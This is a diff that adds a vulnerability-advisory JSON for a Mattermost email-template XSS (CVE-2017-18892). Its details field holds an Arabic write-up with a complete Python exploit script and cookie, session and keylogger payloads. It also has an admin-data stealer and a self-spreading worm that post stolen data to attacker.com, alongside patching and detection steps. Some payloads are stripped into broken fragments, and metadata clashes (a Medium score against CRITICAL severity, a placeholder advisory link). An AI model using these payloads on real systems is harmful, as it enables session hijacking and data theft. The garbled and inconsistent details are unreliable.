diff --git a/advisories/unreviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json b/advisories/unreviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json new file mode 100644 index 0000000000000..1626afbc7ad15 --- /dev/null +++ b/advisories/unreviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json @@ -0,0 +1,52 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-wj5w-qghh-gvqp", + "modified": "2023-01-29T05:03:22Z", + "published": "2022-05-24T17:21:05Z", + "aliases": [ + "CVE-2017-18892" + ], + "summary": "⚔️ CVE-2017-18892: When templates betray security in Mattermost ", + "details": "# ⚔️ CVE-2017-18892: عندما تخون القوالب الأمان\n## 📧 XSS في قوالب البريد الإلكتروني - Mattermost تحت النار\n\n---\n\n## 📋 البطاقة التعريفية\n\n| المعرف | القيمة |\n|--------|---------|\n| **CVE ID** | CVE-2017-18892 |\n| **Product** | Mattermost Server |\n| **CWE** | CWE-79: Cross-site Scripting (XSS) |\n| **CVSS Score** | **6.1 Medium** |\n| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |\n| **الكشف الأولي** | 2017 |\n| **النشر العام** | 19 يونيو 2020 |\n| **آخر تحديث** | 29 يناير 2023 |\n| **التصنيف** | Stored XSS via Email Templates |\n\n---\n\n## 💀 جوهر الثغرة\n\n### 🎭 السيناريو الهجومي\n\n```\nMattermost Email Template\n ↓\n User Input (غير معقم)\n ↓\n HTML Email Generation\n ↓\n {{.UserName}} ← حقن مباشر!\n ↓\n \n ↓\n 🔥 تنفيذ الكود في Email Client\n```\n\n---\n\n## 🔬 التحليل التقني العميق\n\n### 📉 الكود الضعيف\n\n**القالب الضعيف (Go Template):**\n```go\n// mattermost-server < 4.2.0\n// email_template.html\n\n\n\n

مرحباً {{.UserName}}

← بدون تعقيم!\n

تم إرسال رسالة من {{.SenderName}}

← خطر!\n
{{.MessageContent}}
← يمكن حقن HTML!\n\n\n```\n\n**المشكلة:**\n```go\n// الكود الضعيف - بدون Escaping\ntemplate.Execute(writer, data)\n\n// data.UserName = \"\"\n// النتيجة: يُنفذ السكريبت في البريد!\n```\n\n---\n\n### 🎯 سيناريو الاستغلال\n\n#### **المرحلة 1: إنشاء حساب خبيث**\n\n```javascript\n// المهاجم ينشئ حساب باسم خبيث\nPOST /api/v4/users\n{\n \"username\": \"\",\n \"email\": \"attacker@evil.com\",\n \"password\": \"pass123\"\n}\n```\n\n#### **المرحلة 2: إرسال رسالة**\n\n```javascript\n// إرسال رسالة لضحية\nPOST /api/v4/posts\n{\n \"channel_id\": \"victim_channel\",\n \"message\": \"Check this out!\",\n \"root_id\": null\n}\n```\n\n#### **المرحلة 3: البريد الإلكتروني المرسل**\n\n```html\n\n\n\n

مرحباً Victim

\n

تم إرسال رسالة من \n ← تنفيذ فوري!\n

\n
Check this out!
\n\n\n```\n\n#### **المرحلة 4: التنفيذ**\n\n```javascript\n// عند فتح البريد:\nonerror=alert(document.cookie) ← يُنفذ!\n\n// يمكن للمهاجم:\nfetch('https://attacker.com/steal?cookie=' + document.cookie);\n```\n\n---\n\n## 🧪 دليل إثبات المفهوم (PoC)\n\n### 🎪 PoC كامل\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2017-18892 - Mattermost XSS via Email Template\nExploit for educational purposes only\n\"\"\"\n\nimport requests\nimport json\n\nclass MattermostXSS:\n def __init__(self, target_url):\n self.target = target_url\n self.session = requests.Session()\n self.token = None\n \n def create_malicious_user(self):\n \"\"\"إنشاء مستخدم باسم يحتوي على XSS\"\"\"\n \n # الـ Payload\n xss_payload = ''\n \n # إنشاء المستخدم\n user_data = {\n \"username\": xss_payload,\n \"email\": \"attacker@evil.com\",\n \"password\": \"MaliciousPass123!\",\n \"first_name\": xss_payload,\n \"last_name\": \"Evil\"\n }\n \n response = self.session.post(\n f\"{self.target}/api/v4/users\",\n json=user_data\n )\n \n if response.status_code == 201:\n print(\"[+] مستخدم خبيث تم إنشاؤه\")\n return response.json()\n else:\n print(f\"[-] فشل: {response.text}\")\n return None\n \n def login(self, email, password):\n \"\"\"تسجيل الدخول\"\"\"\n login_data = {\n \"login_id\": email,\n \"password\": password\n }\n \n response = self.session.post(\n f\"{self.target}/api/v4/users/login\",\n json=login_data\n )\n \n if response.status_code == 200:\n self.token = response.headers.get('Token')\n self.session.headers.update({'Authorization': f'Bearer {self.token}'})\n print(\"[+] تم تسجيل الدخول\")\n return True\n \n return False\n \n def send_message(self, channel_id, message):\n \"\"\"إرسال رسالة (تُرسل إشعار بريد إلكتروني)\"\"\"\n post_data = {\n \"channel_id\": channel_id,\n \"message\": message\n }\n \n response = self.session.post(\n f\"{self.target}/api/v4/posts\",\n json=post_data\n )\n \n if response.status_code == 201:\n print(\"[+] تم إرسال الرسالة - سيُرسل بريد XSS للأعضاء!\")\n return True\n \n return False\n \n def exploit(self, target_channel):\n \"\"\"تنفيذ الاستغلال الكامل\"\"\"\n print(\"[*] بدء استغلال CVE-2017-18892\")\n print(f\"[*] الهدف: {self.target}\")\n \n # 1. إنشاء مستخدم خبيث\n user = self.create_malicious_user()\n if not user:\n return False\n \n # 2. تسجيل الدخول\n if not self.login(\"attacker@evil.com\", \"MaliciousPass123!\"):\n return False\n \n # 3. إرسال رسالة (تُرسل بريد)\n if self.send_message(target_channel, \"مرحباً! تحقق من هذا\"):\n print(\"[+] نجح الاستغلال!\")\n print(\"[*] عند فتح البريد، سيُنفذ الكود الخبيث\")\n return True\n \n return False\n\n# الاستخدام\nif __name__ == \"__main__\":\n exploit = MattermostXSS(\"https://mattermost.target.com\")\n exploit.exploit(\"channel_id_here\")\n```\n\n---\n\n### 🎯 Payloads متقدمة\n\n```javascript\n// 1. سرقة Cookies\n\n\n// 2. سرقة Session Tokens\n\n\n// 3. Keylogger في Email Client\n\n\n// 5. استخراج البيانات الحساسة\nr.json()).then(d=>\n fetch('https://attacker.com/user', {\n method: 'POST',\n body: JSON.stringify(d)\n })\n );\n\">\n```\n\n---\n\n## 🎯 سيناريوهات الاستغلال الواقعية\n\n### 🎪 السيناريو 1: سرقة بيانات المديرين\n\n```javascript\n// 1. المهاجم ينشئ حساب باسم:\nusername: \"\"\n\n// 2. admin-stealer.js:\n(async function() {\n // سرقة معلومات Admin\n const adminData = await fetch('/api/v4/users/me').then(r => r.json());\n \n // سرقة القنوات\n const channels = await fetch('/api/v4/channels').then(r => r.json());\n \n // سرقة الفرق\n const teams = await fetch('/api/v4/teams').then(r => r.json());\n \n // إرسال كل شيء\n fetch('https://attacker.com/admin-data', {\n method: 'POST',\n body: JSON.stringify({ adminData, channels, teams })\n });\n})();\n\n// النتيجة: سيطرة كاملة على بيانات Admin\n```\n\n---\n\n### 🎪 السيناريو 2: Worm عبر البريد\n\n```javascript\n// XSS Worm - ينتشر تلقائياً\n r.json())\n .then(users => {\n // 3. يرسل رسالة لكل مستخدم\n users.forEach(user => {\n fetch('/api/v4/posts/create_direct', {\n method: 'POST',\n headers: { 'Authorization': 'Bearer ' + token },\n body: JSON.stringify({\n user_id: user.id,\n message: 'Check this: ' // نفس الكود\n })\n });\n });\n });\n\">\n```\n\n---\n\n### 🎪 السيناريو 3: التصيد المستهدف (Spear Phishing)\n\n```html\n\n\n\n \n\n\n
\n

🔒 تنبيه أمني من Mattermost

\n

تم اكتشاف محاولة تسجيل دخول مشبوهة لحسابك

\n

انقر أدناه للتحقق من هويتك:

\n التحقق الآن\n
\n \n \n\n\n```\n\n---\n\n## 🛡️ الإصلاح والحماية\n\n### ✅ الحل الرسمي (v4.2.0+)\n\n```go\n// mattermost-server >= 4.2.0\n// استخدام html/template بدلاً من text/template\n\nimport (\n \"html/template\" // ← التعقيم التلقائي\n)\n\n// القالب الآمن\ntmpl := template.Must(template.New(\"email\").Parse(`\n\n\n

مرحباً {{.UserName}}

← يُعقم تلقائياً\n

من {{.SenderName}}

\n
{{.MessageContent}}
\n\n\n`))\n\n// التنفيذ الآمن\ntmpl.Execute(writer, data)\n\n// إذا كان data.UserName = \"\"\n// النتيجة: <script>alert(1)</script> ← آمن!\n```\n\n---\n\n### 🔒 خطوات الحماية الفورية\n\n#### **1. التحديث الفوري**\n\n```bash\n# فحص الإصدار الحالي\ncurl -s http://mattermost-server/api/v4/system/ping | jq\n\n# إذا كان < 4.2.0، حدّث فوراً:\nwget https://releases.mattermost.com/4.2.0/mattermost-4.2.0-linux-amd64.tar.gz\ntar -xzf mattermost-4.2.0-linux-amd64.tar.gz\nsystemctl stop mattermost\ncp -r mattermost /opt/\nsystemctl start mattermost\n```\n\n#### **2. CSP Headers في Email**\n\n```go\n// إضافة Content Security Policy\nemailHeaders := map[string]string{\n \"Content-Type\": \"text/html; charset=UTF-8\",\n \"Content-Security-Policy\": \"default-src 'none'; img-src https:; style-src 'unsafe-inline'\",\n}\n```\n\n#### **3. تعقيم إضافي**\n\n```go\nimport (\n \"html\"\n \"github.com/microcosm-cc/bluemonday\"\n)\n\n// استخدام bluemonday للتعقيم الشامل\nfunc SanitizeForEmail(input string) string {\n p := bluemonday.StrictPolicy()\n return p.Sanitize(input)\n}\n\n// في القالب\ndata := EmailData{\n UserName: SanitizeForEmail(user.Username),\n Message: SanitizeForEmail(message.Content),\n}\n```\n\n#### **4. مراجعة القوالب المخصصة**\n\n```bash\n# ابحث عن القوالب المخصصة\nfind /opt/mattermost -name \"*.html\" -o -name \"*.tmpl\"\n\n# راجع كل قالب للتأكد من استخدام {{.Variable}} بدون |safe\ngrep -r \"{{.*}}\" /opt/mattermost/templates/\n\n# تحذير: لا تستخدم أبداً\n{{ .UserInput | safe }} ← خطر!\n{{ .Content | noescape }} ← خطر!\n```\n\n---\n\n## 🔍 الكشف عن الاستغلال\n\n### 🕵️ علامات الاختراق\n\n```bash\n# 1. فحص قاعدة البيانات للأسماء المشبوهة\npsql -U mmuser -d mattermost -c \"\n SELECT username, email, create_at \n FROM Users \n WHERE username LIKE '% NOW() - INTERVAL '24 hours'\n ORDER BY create_at DESC;\n\"\n```\n\n### 📊 مؤشرات الاختراق (IOCs)\n\n```yaml\nأسماء المستخدمين المشبوهة:\n - يحتوي على: \"\n - \"javascript:alert(document.cookie)\"\n\nالرسائل الخبيثة:\n - HTML tags في محتوى الرسالة\n - Base64 encoded scripts\n - External script sources\n\nالنشاط الشبكي:\n - طلبات لـ domains غير معروفة من Email Clients\n - POST requests لـ /api/v4/posts بمعدل عالي\n - Session tokens مسروقة تُستخدم من IPs مختلفة\n\nسلوك المستخدم:\n - إنشاء حسابات بأسماء عشوائية/طويلة\n - إرسال رسائل لقنوات عديدة فوراً\n - تغيير بيانات Profile بشكل متكرر\n```\n\n---\n\n## 🔬 الفحص الأمني الشامل\n\n```bash\n#!/bin/bash\n# مراجعة أمنية شاملة لـ Mattermost\n\necho \"🔍 فحص أمان Mattermost\"\necho \"========================\"\n\n# 1. فحص الإصدار\nVERSION=$(curl -s http://localhost:8065/api/v4/system/ping | jq -r '.version')\necho \"الإصدار: $VERSION\"\n\nif [[ \"$VERSION\" < \"4.2.0\" ]]; then\n echo \"⚠️ خطر! الإصدار ضعيف لـ CVE-2017-18892\"\nfi\n\n# 2. فحص المستخدمين المشبوهين\necho \"\"\necho \"👥 فحص المستخدمين:\"\npsql -U mmuser -d mattermost -t -c \"\n SELECT COUNT(*) \n FROM Users \n WHERE username ~ '(<|>|script|onerror)'\n\" | xargs echo \"مستخدمين مشبوهين:\"\n\n# 3. فحص القوالب\necho \"\"\necho \"📧 فحص قوالب البريد:\"\nif grep -r \"text/template\" /opt/mattermost/; then\n echo \"⚠️ وُجدت قوالب غير آمنة!\"\nelse\n echo \"✅ القوالب آمنة\"\nfi\n\n# 4. فحص CSP\necho \"\"\necho \"🔒 فحص Content Security Policy:\"\nif grep -r \"Content-Security-Policy\" /opt/mattermost/config/; then\n echo \"✅ CSP مفعّل\"\nelse\n echo \"⚠️ CSP غير مفعّل\"\nfi\n\necho \"\"\necho \"========================\"\necho \"✅ انتهى الفحص\"\n```\n\n---\n\n## 📡 المراجع التقنية\n\n```\n1. CVE Entry:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18892\n\n2. NVD Details:\n https://nvd.nist.gov/vuln/detail/CVE-2017-18892\n\n3. Mattermost Security:\n https://mattermost.com/security-updates/\n\n4. GitHub Advisory:\n https://github.com/advisories/GHSA-xxxx-xxxx-xxxx\n\n5. OWASP XSS:\n https://owasp.org/www-community/attacks/xss/\n\n6. CWE-79:\n https://cwe.mitre.org/data/definitions/79.html\n```\n\n---\n\n## 🎓 الدروس المستفادة\n\n### ⚠️ القواعد الذهبية:\n\n> **\"لا تثق بأي مُدخَل - حتى لو كان اسم مستخدم\"**\n\n### ✅ Best Practices\n\n#### 1. **استخدم html/template دائماً**\n```go\n// ✅ آمن - تعقيم تلقائي\nimport \"html/template\"\n\n// ❌ خطر - بدون تعقيم\nimport \"text/template\"\n```\n\n#### 2. **طبقات الحماية**\n```\nInput → Validation → Sanitization → Escaping → Output\n```\n\n#### 3. **CSP في كل مكان**\n```html\n\n```\n\n#### 4. **لا تثق بـ \"Safe\" Flags**\n```go\n// ❌ خطير جداً\n{{ .UserInput | safe }}\n\n// ✅ آمن\n{{ .UserInput }} // auto-escaped\n```\n\n---\n\n## 🎖️ ختام المحارب\n\n> **\"القالب ليس مجرد تصميم - إنه خط الدفاع الأول\"**\n> \n> CVE-2017-18892 يُذكرنا أن **الأمان يبدأ من أصغر التفاصيل**.\n> \n> حتى اسم المستخدم يمكن أن يكون **سلاحاً فتاكاً** إذا لم نُحصّنه.\n\n---\n\n## ⚔️ توقيع السيادة\n\n```\n╔═══════════════════════════════════════╗\n║ ZAYED SECURITY RESEARCH TEAM ║\n║ \"Trust No Input, Sanitize All\" ║\n║ ║\n║ CVE-2017-18892 ║\n║ Severity: MEDIUM (6.1) ║\n║ Status: PATCHED ✓ ║\n╚═══════════════════════════════════════╝\n```\n\n---\n\n**#XSS** | **#EmailSecurity** | **#Mattermost** | **#TemplateInjection**", + "severity": [], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.2.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18892" + }, + { + "type": "WEB", + "url": "https://mattermost.com/security-updates" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "CRITICAL", + "github_reviewed": false, + "github_reviewed_at": null, + "nvd_published_at": "2020-06-19T19:15:00Z" + } +} \ No newline at end of file